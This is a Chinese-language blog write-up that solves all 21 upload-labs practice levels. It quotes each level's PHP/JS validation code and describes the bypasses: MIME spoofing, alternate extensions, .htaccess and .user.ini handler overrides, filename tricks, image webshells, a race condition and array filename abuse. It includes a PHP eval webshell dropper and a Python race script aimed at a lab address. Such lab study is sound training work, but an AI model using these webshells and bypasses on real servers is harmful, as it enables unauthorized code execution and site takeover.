upload-labs 1到21题通关详解

发布时间 2023-06-03 18:17:42作者: 米斯特李

第一题

直接查看源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

  可以看到上传类型只有这三种

首先判断检查代码在前端还是后端:
上传php文件使用bp抓包

 可以看到没有抓到任何东西就被拦截了,因此是在前端验证

方法1:在前端修改源码

 复制这一段后在console中粘贴修改并回车

 重新上传,就能上传成功,

查看上传文件夹

 上传成功。

使用中国蚁剑连接成功

方法2:将php文件改后缀名后用bp抓包

 成功抓取

修改完后forward

上传成功

 第二题

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

  可以看到是对upload_file的type进行了判断

上传php文件直接使用bp抓包可以抓到,因此是后端进行验证

 这里content-type是application/cotet-stream

改为image/jpeg或png等都可以,forward

 后台看到上传成功。

 蚁剑连接

 每次成功后记得清空文件

第三题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

trim为去除两端空格

deldot为删除末尾的点

strrchr为指定符号及其之后的字符串

 过滤函数应该是将文件名弄成一个日期加随机数的一串数字

试一试

 换了随机的文件名

且不允许上传php等后缀的文件

可以使用php5或者phtml等后缀绕过

但要记得在apache配置中加上

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

抓包

 

 还好右边可以看到上传后的文件名

 

蚁剑连接即可

 第四题

 这道题把能想到的后缀都过滤了

不能通过修改后缀名的方式上传

需要先上传.htaccess文件(apache的配置文件,是伪静态的使用说明)

<FilesMatch "small.jpg">
SetHandler application/x-httpd-php
</FilesMatch>  

命名为.htaccess这个文件是伪静态文件也就是说,将文件中含有small.jpg文件用PHP代码解析执行

如果没有第一行和第三行那两行代码直接上传,会导致所有上传的文件都按照php文件执行

注意:.htaccess文件只能针对Apache环境

蚁剑直接连接图片连接,连接成功

 第五题

这道题专门过滤了.htassess文件

但是没有过滤.ini

因此这次使用.user.ini配置文件

.htaccess配置文件只针对apache服务器,但.user.ini支持Nginx服务器

.user.ini的运行条件:

服务器脚本语言为PHP  
服务器使用CGI/FastCGI模式  
多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
上传目录下要有可执行的php文件

内容中只写一句话

auto_prepend_file = ctf.png (含有php代码的文件)

注意.user.ini相当于文件包含,在本目录下必须存在.php文件

upload目录下有一个readme.php文件的

xampp中最好配置一下fastcgi,这里不再演示

第六题

查看源码发现少了对大小写的过滤

 

 上传成功,使用蚁剑连接

 第七题

 没有首尾去空

抓包php后加空格即可绕过

 第八题

 没有去掉最后的点了

文件后缀加.上传

蚁剑连接时记得带点。

第九题

 没有去掉后面的::$DATA

 

 第十题

这一关将.ini还有.htaccess后缀都进行了过滤

且去掉了点,转换为小写,去掉::$DATA,并去掉了空格

但这里查看代码

 删除文件末尾的点没有循环只进行了一次

因此文件名后缀可以改为. .

点空格点 这样在经过所有过滤后还剩一个.可以绕过

第十一题

将列举的后缀名全都替换为空

 可以参考sql注入中的双写绕过

注意不能对php双写绕过,因为phphpp第一个php就会过滤掉了

可以pphtht

 

 第十二题

 strrpos+1是查找点在文件名中最后出现的位置(strpos从0开始取)

strpos为第一次出现的位置。

substr为截取int之后的内容,例如substr('123456',3),substr返回456

例如ctf.php

这里strrpos函数返回3,加1等于4,substr函数最后返回php

所以这里的作用依然是截取后缀

使用%00截断

要求:

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

我的php是7版本以上因此不适用

 第14题

图片马

制作图片马可以用cmd或者使用notepad打开图片在后面添加一句话木马都可以

 上传后用文件包含打开

因为图片马不能直接用蚁剑进行连接因为任然会被解析为image

所以必须利用文件包含或者.htaccess等漏洞

这里题目给出了测试

 发现最后的一句话木马没有显示所以已经生效,使用蚁剑连接

 第15题

一样,使用burpsuite来绕过

 

 第16题

 直接上传图片马

文件包含成功

  exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块

 第十七题

二次渲染绕过

 上传图片马后用蚁剑连接发现报错

 可以看到新上传的图片没有一句话木马了。

通过010editer对比哪部分没有渲染

 在相同的地方插入一句话木马,这样就不会被渲染掉。

 第十八题

查看源码,在上传文件之后如果发现不在那三个类型里面就会删掉

如果直接上传图片马肯定可以成功,但这里没有文件包含漏洞供我们使用,因此只能上传php木马

这里源代码是先上传后如果不满足后缀要求又删除的,因此可以只要在文件上传后到删除的那段时间访问到我们的木马文件即可,但这里即使访问到木马文件,在被删除之后也不能访问了,因此需要通过一句话木马在upload目录下创建一个文件,文件里才是我们要用的一句话木马,这就是条件竞争

根据以上原理,先使用bp一直重放包,再使用python循环读创造木马文件,只要读到一次即可创建木马文件,之后访问木马文件即可。

要重放的一句话木马为:

<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[123123])?>')?>

 python脚本:

import requests

url='http://192.168.102.1/upload-labs-master/upload-labs-master/upload/1.php'

while True:
    html=requests.get(url)
    if html.status_code==200:
        print('成功')
        break

 第十九题

审计代码

首先检查扩展名,然后检查文件大小,然后检查文件是否存在,然后移动文件,最后对文件重命名,之后返回成功

这里可以上传一张图片马,然后利用文件包含漏洞

也可以通过.php.7z文件后缀,这样7z不会解析,而是向前解析php

因此使用bp重放7z文件,再用python尝试访问该文件

7z后缀的一句话木马 与上一题一样

 这道题可能是作者笔误,上传目录不是upload

而是再upload上一级用upload拼接

因此脚本应该是

 第20题

文件保存名用户可控,注意move_uploaded_file()有一个特性,会忽略掉文件末尾的/.

因此上传的php后加上/.即可绕过

 第21题

首先检查type

检查post的文件名,如果不为空则为post的,否则为上传的文件名

拆分文件名为数组,并全都化为小写。

数组最后一个元素为ext,检查ext

满足后定义新文件名为数组的第一个元素拼接数组下标为count(file)-1的元素(为什么不直接拼接ext?)

通过新文件名上传。

显然上面直接拼接ext更加方便,但这里拼接了数组下标为count(file)-1的元素,就导致漏洞出现

如果count=2,那么会拼接数组的第2个元素(数组下标为1)

如果数组下标为1的元素刚好为空,最后一个元素又符合要求,第一个元素又是php结尾不就可以了

想法是这样,但其实并不知道怎么做,看了大佬的解法才知道原来可以post多个值,作为数组元素上传,这样可以直接绕过第2个元素上传

 至于为什么加/

因为我的如果不加/会显示上传错误,加了/后也不影响蚁剑连接

 上传成功后连蚁剑即可。